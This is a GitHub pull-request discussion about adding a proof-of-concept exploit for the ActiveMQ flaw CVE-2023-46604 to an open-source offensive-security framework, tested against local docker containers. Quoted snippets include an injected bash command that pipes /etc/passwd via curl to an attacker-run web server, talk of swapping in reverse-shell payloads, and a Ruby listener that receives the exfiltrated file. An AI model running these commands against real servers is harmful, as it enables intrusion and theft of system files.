Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

POC exploit for CVE-2023-46604 #10

Merged

Conversation

flavorjones
Copy link
Contributor

Feedback welcome, I'm not sure what's expected of a contributed POC.

As mentioned in the comments, I tested this against local docker containers. Vulnerable versions are correctly detected with perform_test. Vulnerable servers connect to the embedded web server for the injection and to exfiltrate /etc/passwd as a demonstration.

Closes #7

Copy link
Member

@postmodern postmodern left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Wow wasn't expecting someone to jump in so quickly, this is great work considering your new to the project.

I included a bunch of minor suggestions on how to DRY up the code by using more built-in Ronin APIs.

We also need to decide whether to use an arbitrary CommandPayload in the XML, which would allow executing any command payload, including cmd/*/reverse_shell payloads in addition to file exfil payloads. Or keep the logic that only exfils a single file to a local web server.

I like the idea of a single file HTTP exfil payload, and think we should extract that into a Ronin::Payloads::Mixins::WebServer, Ronin::Payloads::Mixins::HTTPExfil, or Ronin::Exploits::Mixins::WebServer, Ronin::Exploits::Mixins::HTTPExfil module.

(I also think I should add a tcp_read or tcp_recv helper method to ronin-support to DRY up that tcp_connect code.)

exploits/activemq/CVE-2023-46604.rb Outdated Show resolved Hide resolved
<list>
<value>bash</value>
<value>-c</value>
<value>cat /etc/passwd | curl --data-binary @- #{@web_url}/post</value>
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Use #{payload} for injecting a full command payload in, which would allow injecting in other cmd/ payloads (see ronin-payloads list) such as the cmd/*/reverse_shell payloads . We either wouldn't need the web server and just execute the command payload blindly (which is the case with reverse shell payloads that only spawn another connect back shell), or we could pipe the command payload's output back to the local web server for inspection?

#
module Ronin
module Exploits
class Cve202346604 < Exploit
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Use < CommandInjection if we're going to be injecting an arbitrary command.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I can't find a CommandInjection class anywhere. Can you point me in the right direction?

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@flavorjones It's defined in the ronin-exploits 1.1.0 branch at the last minute when I realized I needed it. :/ This of course makes working on community-pocs a bit awkward until the new minor versions get released.

<list>
<value>bash</value>
<value>-c</value>
<value>cat /etc/passwd | curl --data-binary @- #{@web_url}/post</value>
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is also a great idea for another command payload we could add to ronin-payloads that exfils an arbitrary file back to a web server. Ronin::Payloads::Payload has pre-launch/post-launch methods which could be used to start the web server to receive the file.

Or we could eventually extract this code into generalized Ronin::Exploits::Mixins::WebServer module.

exploits/activemq/CVE-2023-46604.rb Outdated Show resolved Hide resolved
exploits/activemq/CVE-2023-46604.rb Outdated Show resolved Hide resolved
exploits/activemq/CVE-2023-46604.rb Outdated Show resolved Hide resolved
exploits/activemq/CVE-2023-46604.rb Outdated Show resolved Hide resolved
exploits/activemq/CVE-2023-46604.rb Outdated Show resolved Hide resolved
exploits/activemq/CVE-2023-46604.rb Outdated Show resolved Hide resolved
@postmodern
Copy link
Member

@flavorjones also where did you get param :foo, type: Class, ... from? I suspect there's some old documentation that still mentions the "old style" of defining params before I changed it to param :foo, Class, ..., but I can't find where it still mentions type:.

@postmodern
Copy link
Member

I'm also curious if this successfully runs against the vulhub activemq docker-compose file for CVE-2023-46604.

@flavorjones
Copy link
Contributor Author

Thanks for the review! I'll address or reply to the review comments today.

Re: your other questions ...

I like the idea of a single file HTTP exfil payload, and think we should extract that into a Ronin::Payloads::Mixins::WebServer, Ronin::Payloads::Mixins::HTTPExfil, or Ronin::Exploits::Mixins::WebServer, Ronin::Exploits::Mixins::HTTPExfil module

Yeah, that makes sense and I'm happy to do that work as a separate commit in this PR if you're OK with it (else I can open a separate PR).

where did you get param :foo, type: Class, ... from? I suspect there's some old documentation ...

Honestly I have no idea. I had like ten web pages open (as well as an older version of Ronin on disk) trying to get a first draft working, and ended up with this syntax. Maybe I imagined it?

I'm also curious if this successfully runs against the vulhub activemq docker-compose file for CVE-2023-46604.

Yes! As long as I add host networking to the docker-compose.yml file (so the AMQ server can connect back to the web server):

diff --git a/activemq/CVE-2023-46604/docker-compose.yml b/activemq/CVE-2023-46604/docker-compose.yml
index 1da45062..b907c6d8 100644
--- a/activemq/CVE-2023-46604/docker-compose.yml
+++ b/activemq/CVE-2023-46604/docker-compose.yml
@@ -6,3 +6,4 @@ services:
     - "61616:61616"
     - "8161:8161"
     - "5005:5005"
+   network_mode: host

@flavorjones flavorjones force-pushed the 7-flavorjones-poc-cve-2023-46604 branch from da7b79b to 3ba3741 Compare May 5, 2024 20:16
@flavorjones
Copy link
Contributor Author

I've force-pushed a bunch of changes, and resolved the conversations that I address with those changes.

Copy link
Member

@postmodern postmodern left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can specify endian: :net to make all data types network-endian. Also I posted some example code of using Binary::Buffer vs. Binary::Stream.

exploits/activemq/CVE-2023-46604.rb Outdated Show resolved Hide resolved
exploits/activemq/CVE-2023-46604.rb Outdated Show resolved Hide resolved
exploits/activemq/CVE-2023-46604.rb Outdated Show resolved Hide resolved
exploits/activemq/CVE-2023-46604.rb Outdated Show resolved Hide resolved
@postmodern
Copy link
Member

@flavorjones this is probably pretty ugly compared to your code, but I think I can simplify the curl exfil web server using TCPServer and really bad HTTP parsing logic.

require 'socket'

CRLF = "\r\n".b
HEADER_SEPARATOR = CRLF * 2
BAD_REQUEST = [
  'HTTP/1.0 400 Bad Request',
  'Content-Type: text/html',
  'Connection: close',
  ''
].join(CRLF) + CRLF

OK = [
  'HTTP/1.1 200 OK',
  'Content-Type: text/html',
  'Content-Length: 0',
  'Connection: close',
  ''
].join(CRLF) + CRLF

host = '0.0.0.0'
port = ARGV[0].to_i

server = TCPServer.new(host,port)

loop do
  connection = server.accept

  request_line = connection.gets(CRLF)
  request_method, path, http_version = request_line.split(' ',3)

  unless path == '/exfil'
    connection.write(BAD_REQUEST)
    connection.close
    next
  end

  headers = {}

  until (line = connection.gets(CRLF, chomp: true)).empty?
    name, value = line.split(': ',2)
    headers[name] = value
  end

  content_length = if headers['Content-Length']
                     headers['Content-Length'].to_i
                   end

  file = connection.read(content_length)

  connection.write(OK)
  connection.close

  puts "[+] Received file:"
  puts file
end

Copy link
Member

@postmodern postmodern left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can pull ronin-web-server from rubygems.

Gemfile Outdated Show resolved Hide resolved
@flavorjones flavorjones force-pushed the 7-flavorjones-poc-cve-2023-46604 branch from 3ba3741 to 77cd296 Compare May 17, 2024 16:57
@flavorjones
Copy link
Contributor Author

flavorjones commented May 17, 2024

@postmodern I've force-pushed a bunch of changes, and resolved the conversations that I address with those changes.

I'm open to pulling in your TCPServer implementation, but I personally think it's less obvious what's going on when it's imperative code. I admit the Ronin::Web implementation is not extremely obvious, though, and so I don't feel strongly either way. Your call!

Also, I haven't done the payload work you suggested above yet simply because I haven't had time to dig in on it yet. I should be able to get to it next week!

@postmodern
Copy link
Member

postmodern commented May 18, 2024

@postmodern I've force-pushed a bunch of changes, and resolved the conversations that I address with those changes.

I'm open to pulling in your TCPServer implementation, but I personally think it's less obvious what's going on when it's imperative code. I admit the Ronin::Web implementation is not extremely obvious, though, and so I don't feel strongly either way. Your call!

Also, I haven't done the payload work you suggested above yet simply because I haven't had time to dig in on it yet. I should be able to get to it next week!

@flavorjones excellent! Ultimately I will probably add a Ronin::Exploits::Mixins::WebServer which should handle most of the launch and cleanup code. Maybe something like:

def web_server
  @web_server ||= Class.new(Ronin::Web::Server::Base).tap do |server|
    server.set :exploit, self
  end
  yield @web_server
end

def perform_launch
  @web_server.run!(background: true)
  super
end

def perform_cleanup
  super
  @web_server.stop!
end

There's also some deep questions about whether the web server should be fully separate from the default Ronin::Web::Server instance, or co-mingle with whatever other routes have been defined in the default instance.

Until then we can use your code just to have something that works. Once there is a Ronin::Exploits::Mixins::WebServer module that handles the web server code (or a Ronin::Payloads payload which handles curl single-file exfilitrations), I'll come back and make the necessary edits and bump the ronin-exploits dependency in the Gemfile.

Fix documentation formatting.
Make rubocop happy.
Attempt to make rubocop happy.
Remove trailing whitespace.
Add missing documentation.
Correct documentation.

* ActiveMQ OpenWire, not AMQP.
@postmodern postmodern merged commit 29bcfbd into ronin-rb:main May 18, 2024
7 checks passed
@flavorjones flavorjones deleted the 7-flavorjones-poc-cve-2023-46604 branch May 18, 2024 14:34
@postmodern
Copy link
Member

@flavorjones going to add the GPLv3.0+ license per #12. Hope that's OK with you?

@flavorjones
Copy link
Contributor Author

Totally fine!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Add PoC exploit for CVE-2023-46604
2 participants